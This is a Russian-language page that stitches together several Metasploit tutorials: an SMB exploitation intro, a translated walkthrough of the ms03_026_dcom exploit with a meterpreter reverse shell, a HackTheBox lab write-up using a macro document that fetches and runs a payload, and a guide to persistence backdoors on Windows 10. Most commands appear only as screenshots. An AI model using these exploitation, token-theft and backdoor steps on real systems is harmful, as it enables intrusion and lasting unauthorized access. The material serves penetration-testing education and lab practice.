Как сделать полезную нагрузку metasploit

Добавил пользователь Владимир З.
Обновлено: 04.10.2024

Автор материала не несет ответственности, за действия совершенные читателями. Информация предоставлена исключительно в ознакомительных целях.

Metasploit представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов. На данный момент Metasploit приобретен компанией Rapid7 и имеет несколько версий:

— командная оболочка msfconole

— версия с web-интерфейсом Metasploit PRO.

Загрузить и установить Metasploit можно с официального сайта проекта:

В этой статье я постараюсь полностью избежать теории и максимально коротко раскрыть практическую сторону Metasploit на примере проникновения в ОС Windows Server 2012.

В качестве атакующей машины будет выступать компьютер под управлением ОС Kali, дистрибутив которой уже содержит Metasploit, нам остается только запустить сервис базы данных:

$sudo service postgresql start

Убедиться, что база данных прослушивает порт 5432 командой:

Остается только инициализировать БД msf:

$sudo msfdb init

Теперь можно запускать msfconsole:

Проверим статус БД:

msf5 >db_status

Если всё настроено верно, то мы получим примерно такой вывод:

[*] Connected to msf. Connection type: postgresql.

Для этой цели будем использовать сетевой сканнер nmap прямо из консоли msf. Как использовать nmap — это отдельная тема, останавливаться на ней сейчас я не буду, скажу только, что ip-адрес жертвы в этом примере нам известен, а ключ -sV даст больше информации об ОС, службах и открытых портах:

msf5 >nmap -sV 192.168.1.104

Следующей командой ищем модули для работы с SMB:

msf5 >search smb

В выводе мы получим список всех известных на данный момент модулей для SMB. А также версию, код уязвимости и шансы на успех.

Выбор осуществляется командой use:

msf5 >use exploit/windows/smb/ms17_010_psexec

Для смены модуля используем команду use или для отмены команду back.

Теперь мы можем установить ip адрес жертвы и ввести команду exploit в msfconsole для выполнения выбранного модуля или просмотреть опции модуля командой show options.

Опции модуля устанавливаются командой set.

msf5 exploit(windows/smb/ms17_010_psexec)>set smbuser Ivanov_II

msf5 exploit(windows/smb/ms17_010_psexec)>set smbpass Qwerty123

Но в данном примере я задам только ip-адрес, в этом случае Metasploit будет пытаться войти в систему либо анонимно, либо используя словарь, адрес которого видно в опциях. Вводим:

Оригинал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публикации: июль 2011 г.
Перевод: В. Семененко
Дата перевода: июль 2011 г.

Введение

Наверняка, когда я произношу - "Инструмент для пентестинга" ("Penetration Testing tool"), первое, что приходит вам в голову при упоминании этих словосочетаний - имя Metasploit . И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby . Суммарное колличество его строк превышает 700 000! На сегодня Metasploit является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов .

Metasploit_Framework

Metasploit Framework является программой и одновременно подпроектом, входящим с состав проекта Metasploit . Его разработку ведет компания Metasploit LLC ( Примечание переводчика . Автор несколько неточен в данном случае. На момент написания статьи все лицензии на проект Metasploit приобретены компанией Rapid7 . Ею выпускаются как коммерческие платные варианты данного продукта - Metasploit Pro , Metasploit Express ; так и бесплатный - Metasploit Framework ). Годом рождения проекта является 2003, когда он начал создаваться на языке Perl. Но позднее программа была полностью переписана на язык Ruby. В самой последней версии релиза Metasploit 3.7.2 возможности пентестинга и симуляции были выведены на качественно новый уровень. За максимально короткий срок был переписан код фреймворка, что увеличило скорость работы и эффективность последнего. Все это значительно усиливает позиции проекта по отношению к его коммерческим аналогам.

Начинаем работать с Metasploit

Программа Metasploit проста в использовании. Она была создана именно с целью помочь и облегчить работу пентестерам. Дальнейшее описание этого незаменимого продукта я буду производить на примере хорошо известного дистрибутива Linux BackTrack 5 . Так что, если у вас его еще нет, приглашаю перейти по ссылке http://www.backtrack-linux.org/downloads/ и скачать последнюю версию (на данный момент это версия 5). Почему именно версию 5? Ну, помимо того, что она самая новая, у нее есть еще одно существенное "преимущество" - в ее состав входят исправленные и рабочие библиотеки Ruby.

Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole , msfcli и msfweb . Основным и наиболее предпочтительным из трех перечисленных вариантов является первый - msfconsole . Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.

Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

Список наиболее употребимых команд :

i) search : запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

ii) show exploits : указав команду show exploits , мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

iii) show payloads : аналогично предыдущим командам show , показывает доступные в системе payload 'ы. Запускаем команду show payloads и изучаем получившийся список.

iv) show options : набрав в командной строке show options , вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

v) info : если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info . Скажем, вам нужно подробное описание payload'а winbind . Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

vi) use : команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

vii) set RHOST : указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

viii) set RPORT : задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

ix) set payload : команда указывает имя payload'а, который будет использоваться.

x) set LPORT : задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

xi) exploit : запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit , которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

xii) help : команда help выдаст полный перечень всех доступных команд системы. Я же привел здесь его краткую версию.

Теперь, когда вы знакомы со всеми основными командами, вы можете запустить эксплоит. Для иллюстрации, давайте выберем сценарий, на примере которого я покажу, как получить контроль над удаленной машиной.

Сценарий

OS : Microsoft Windows Server 2003

OS : BackTrack 5

Metasploit version : Built in version of metasploit 3.8.0-dev

Единственная информация об удаленной машине, которой мы располагаем, это то, что на ней запущен Windows 2003 Server. Требуется получить доступ к командной оболочке этого удаленного сервера.

Подробные шаги:

Шаг 1 :

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот Figure1 .

Figure1

Шаг 2 :

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте Figure2 .

Figure 2

Шаг 3 :

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit . Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit , запустим команду show exploits . Мы увидим все, которые можно использовать в нашей системе.

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc . Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole , как показано на скриншоте Figure3 .

Figure 3

Шаг 4 :

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom . Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5 :

В общем случае запуск команды use запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Figure 4

Как видно на скриншоте Figure4 , после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) > . Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6 :

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135 . Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST .

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129 ., как на скриншоте Figure5 .

Figure5

Шаг 7 :

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads .

Figure6

Как видно на скриншоте Figure6 , команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter , задав его командой set PAYLOAD windows/meterpreter/reserve_tcp , что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

Figure7

Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128 .

Шаг 8 :

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте Figure8 хорошо видно, что в нашем случе это именно так.

Figure8

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check .

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

Figure9

На скриншоте Figure9 видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter > .

Шаг 9 :

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter :

  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Потенциальные возможности использования фреймворка Metasploit:

  • Metasploit может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
  • Metasploit может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
  • Metasploit также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.

Заключение

Эта статья является поверхностным обзором по использованию фреймворка Metasploit . Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit , приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов . А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.

image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье намучаемся с нагрузками metasрloit и msfvenom, сделаем Office документ с нагрукой msvenom, рассмотрим поиск пути повышения привилегий с PowerSploit и украдем и токен для доступа к шифрованному файлу.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Разведка

Сканирование портов

Данная машиина имеет IP адрес 10.10.10.144, который я добавляю в /etc/hosts.


Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


image

Далее нужно собрать больше информации об известных портах. Для того используем nmap с параметром -А.


image

Таким образом мы имеем SMB и веб-сервер IIS. Если посетить re.htb, то можно найти такие комментарии на странице.

image

Check back for re.htb? Я обратился к серверу по адресу 10.10.10.144 и получил редирект на reblog.htb. Что же добавим данную запись в /etc/hosts и снова переходим к веб-серверу.

image

По первому посту становится ясно, что это платформа анализа OpenOffice документов, и если загруженный документ пройдет все правила, то будет выполнен.

image

Теперь нужно найти способ загрузки файла. Давайте взглянем на SMB.

image

Entry Point

Отлично, по названию понятно, куда загружать. Теперь нужно сгенерировать odt документ, содержащий нагрузку. Для этого можно использовать модуль openoffice_document_macro из metasploit framework.

image

Но так как нас предупредили, что msf нагрузка данного модуля будет обнаружена, мы создадим шаблон, а потом вставим другую нагрузку.

image

Шаблон сгенерирован. Давайте проверим предположение. Если загрузить данный файл, он будет тут же удален. Откроем его в архиве и изменим следующий файл: Basic/Standard/Module1.xml. И изменим расширение на ODS.

image

В данном случае мы просто пингуем свою машину. Теперь откроем запустим tcpdump, указав интерфейс и протокол для фильтра.


Загружаем файл на сервер.

image

И наблюдаем пинг в tcpdump’e.

image

Теперь с помощью msfvenom генерируем нагрузку meterpreter в формате exe.

image

Ее мы разместим на локальном сервере. Для того, чтобы прописать нагрузку в нашем документе, откроем его в архиве и изменим следующий файл: Basic/Standard/Module1.xml.

В данном случае мы скачиваем сгенерированную нагрузку со своей машины и запускаем скачанный файл.

image

После сохранения, изменим формат на ODS и загружаем файл на сервер.

И через несколько секунд, видим открытую сессию meterpreter.

image

И забираем пользователя.

image

image

После того как мы немного осмотрелись на машине, в папке Documents имеется интересный PS скрипт.

image

И следующий фрагмент кода наталкивает на ZipSlip атаку, когда мы можем распаковать файл в нужное место. Давайте проверим это. Для формирования архива используем Evil-WinRAR-Generator.

image

Загружать будем в папку ods.

image

Используем Evil WinRAR и указываем путь до папки (-p), хороший файл (-g) и файл, который нужно распаковать по нужному пути (-e).

image

Теперь с помощью PowerShell скачиваем файл на целевую машину в папку ods.

image

image

Отлично! Предположения верны. Давайте сгенерируем aspx нагрузку.

image

И по прошлому сценарию откроем сессию.

image

image

image

image

image

Таким образом мы уже работаем под пользователем IIS. Далее используем мой любимый PowerSploit, а именно его модуль PowerUp.

image

image

Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера. И через него мы можем выполнить команды. Сгенерируем еще одну нагруку в формате exe и закинем на хост.

image

image

И теперь запустим с помощью UsoSvc.

image

И получаем сессиию.

image

Но она очень быстро закрывается, поэтому генерируем еще одну нагрузку, загружаем на машину. Снова запускаем r2.exe от UsoSvc. И в отведенные 20-30 секунд вызываем шелл и запускаем новую сгенерированную нагрузку.

image

Таким образом, закроется сессия от r2.exe, но будет работать r3.exe в том же контексте SYSTEM.

image

Но при попытке прочитать файл, получаем отказ в доступе.

image

Скорее всего он зашифрован. Давайте убедимся в этом.

image

И видим, что можем открыть его из-под coby. Тогда давайте украдем его токен — маркер доступа. Для чего в meterpreter подключаем модуль.

image

Посмотрим список токенов в системе.

image

И берем токен coby.

image

Теперь когда мы в его контексте безопасности читаем файл.

image

Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Слово Persistence может переводиться как постоянный, поэтому в этой статье приведены несколько методов создания постоянного backdoor на компьютере жертвы.

Поскольку для получения доступа к любой системе требуется провести много тяжелой работы, и как только система успешно захвачена, пользователю нужно еще время для дальнейшего ее изучения, существует риск, что жертва может выключить свой компьютер или изменить учетные данные. Вот почему поддержание доступа является важным этапом пентестинга. Персистентность включает в себя методы, которые помогают человеку сохранить доступ к системе и получить измененные учетные данные при необходимости.

Предварительные данные:

ОС жертвы: Windows 10

ОС пользователя: Kali Linux (Metasploit Framework)

Примечание: для создания персистентного backdoor у пользователя должна быть скомпрометированная машина жертвы с включенным сеансом meterpreter, чтобы выполнить все действия, перечисленные в этой статье.

Методы получения персистентности с помощью Metasploit

Пора начинать: система жертвы уже была скомпрометирована и запущен сеанс meterpreter на правах администратора. Теперь пользователь хочет установить постоянный бэкдор в системе жертвы, который обеспечит обратное соединение при необходимости.

Служба персистентности

Этот модуль будет генерировать и загружать исполняемый файл на удаленный хост, а затем сделает его постоянным сервисом. Будет создана новая служба, которая запускает полезную нагрузку всякий раз, когда это необходимо. Требуются привилегии администратора.

Таким образом, пользователь введет следующие команды на своем Kali Linux для запуска упомянутого модуля:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Если жертва перезагрузит систему, предыдущий сеанс meterpreter будет окончен. Теперь необходимо настроить мультиобработчик с помощью следующих команд для запуска полезной нагрузки:

Как только система жертвы будет запущена, пользователь автоматически получит сеанс meterpreter.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Когда компьютер запускается автоматически, некоторые из его служб работают по умолчанию, поэтому эксплойт persistence_service создает новую службу, которая будет активировать полезную нагрузку всякий раз, когда это необходимо. На приведенном ниже рисунке можно увидеть, что исполняемый файл IVFC.exe работает под именем пользователя системы. Надо проверить путь этого файла:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Метод митигирования для эксплойта persistence_service

Прежде всего, следует определить незнакомые файлы, которые уже запущены, а затем остановить исполняемый файл, т.е. IVFC.exe и удалить его из каталога temp.

Persistence_exe

Это второй способ сохранить доступ к компьютеру жертвы. В этом скрипте уже был получен сеанс meterpreter компьютера жертвы, и есть доступ пользователя.

Этот модуль загрузит исполняемый файл в систему жертвы и сделает его персистентным. Он может быть установлен как пользователь, система или служба. В данном этот модуль будет задействован с помощью сеанса 1 (уже скомпрометированного) и установки rexpath (удаленного исполняемого пути). Этот файл полезной нагрузки будет создан на компьютере жертвы пользователем, но из-за скрипта персистентности он будет сохранен в каталоге temp с именем default.exe (его можно изменить). Нужно установить файл в меню задач автозапуска по пути реестра, указанному на рисунке ниже.

Для запуска этого модуля надо ввести следующие команды:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

После успешного запуска модуля пользователь должен настроить мультиобработчик с помощью следующей команды:

Как только жертва перезагрузит свой компьютер и войдет в систему, пользователь автоматически получит сеанс meterpreter.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

На приведенном ниже рисунке можно увидеть функцию persistence_exe, которая создает службу автозапуска:

Сервис начнет работать, как только компьютер жертвы запустится. Файл по умолчанию создается в каталоге temp.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Метод митигирования для Persistence_exe

Во-первых, нужно удалить запись из редактора реестра по пути:

А затем удалить исполняемый файл полезной нагрузки из каталога temp и перезагрузить систему.

Реестр персистентности

Реестр является основной частью Windows и содержит избыток необработанных данных. Злоумышленники любят выбирать места реестра Windows для подключения к системе жертвы, чтобы файлы или коды не могли быть обнаружены сканированием на предмет подозрительных действий.

Этот модуль установит полезную нагрузку, которая выполняется во время загрузки компьютера. Она будет происходить либо при входе пользователя в систему, либо при запуске системы через значение реестра в разделе “CurrentVersion\Run” (в зависимости от привилегий и выбранного метода). Полезная нагрузка будет полностью находиться в реестре.

Поскольку компьютер жертвы уже был скомпрометирован и получен сеанс meterpreter, необходимо использовать следующую команду для выполнения сохраняемости реестра.

После выполнения эксплойта он будет создавать ключ реестра в разделе HKCU\software\wl4cN9w:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Если жертва перезагружает систему, сеанс meterpreter будет отключен. Для получения сеанса снова, следует просто установить полезную нагрузку мультиобработчика и выполнить ее.

Как только компьютер жертвы запустится, и человек войдет в систему, автоматически будет получен meterpreter из-за сценария автозапуска в реестре, который был установлен злоумышленником. Registry _persistence успешно выполняется.

С помощью приведенного ниже изображения можно проверить путь раздела реестра, созданного эксплойтом registry_persistence.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Получение персистентности с помощью Netcat

Netcat или nc — это утилита, которая использует TCP и UDP-соединения для чтения и записи в сети. Она может быть применена как для атаки, так и для обеспечения безопасности. В случае атаки утилита управляется скриптами, что делает ее довольно надежным бэкэндом. Если говорить о безопасности, то инструмент помогает отлаживать сеть наряду с инвестированием в нее.

Теперь настала пора сделать бэкдор persistence Netcat на скомпрометированной системе. Поскольку сеанс meterpreter уже получен, осталось загрузить файл netcat.exe в system32 компьютера жертвы с помощью следующей команды:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Следующий шаг — настроить netcat на прослушивание случайного порта, например, 4445. После открыть его при запуске и установить соединение.

Надо использовать следующую команду:

Для проверки режима работы и состояния порта выполняется команда:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Когда жертва снова перезагрузит систему, пользователь получит netcat shell. В Kali Linux (атакующая система) следует выполнить данную команду, чтобы подключить бэкдор netcat по порту 4445.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Персистентность с помощью RDP

После установления сеанса meterpreter с уже скомпрометированной целевой системой, пользователь будет применять скрипт getgui от Carlos Perez, что включает в себя удаленный рабочий стол, а также он способен создать учетную запись пользователя для входа.

Имя пользователя: Nisha

Пароль: 123

Выполняется следующая команда:

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Как можно увидеть, sticky keys успешно добавлены, теперь, чтобы запустить эксплойт на RDP или UAC, нужно нажать клавишу Shift 5 раз.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Ура! Цель достигнута.

Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Заключение

Персистентность не требует никакой аутентификации для подключения к системе жертвы. Чтобы завершить пентестинг, всегда следует помнить о необходимости очистки процессов и служб бэкдора на хосте жертвы.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Читайте также: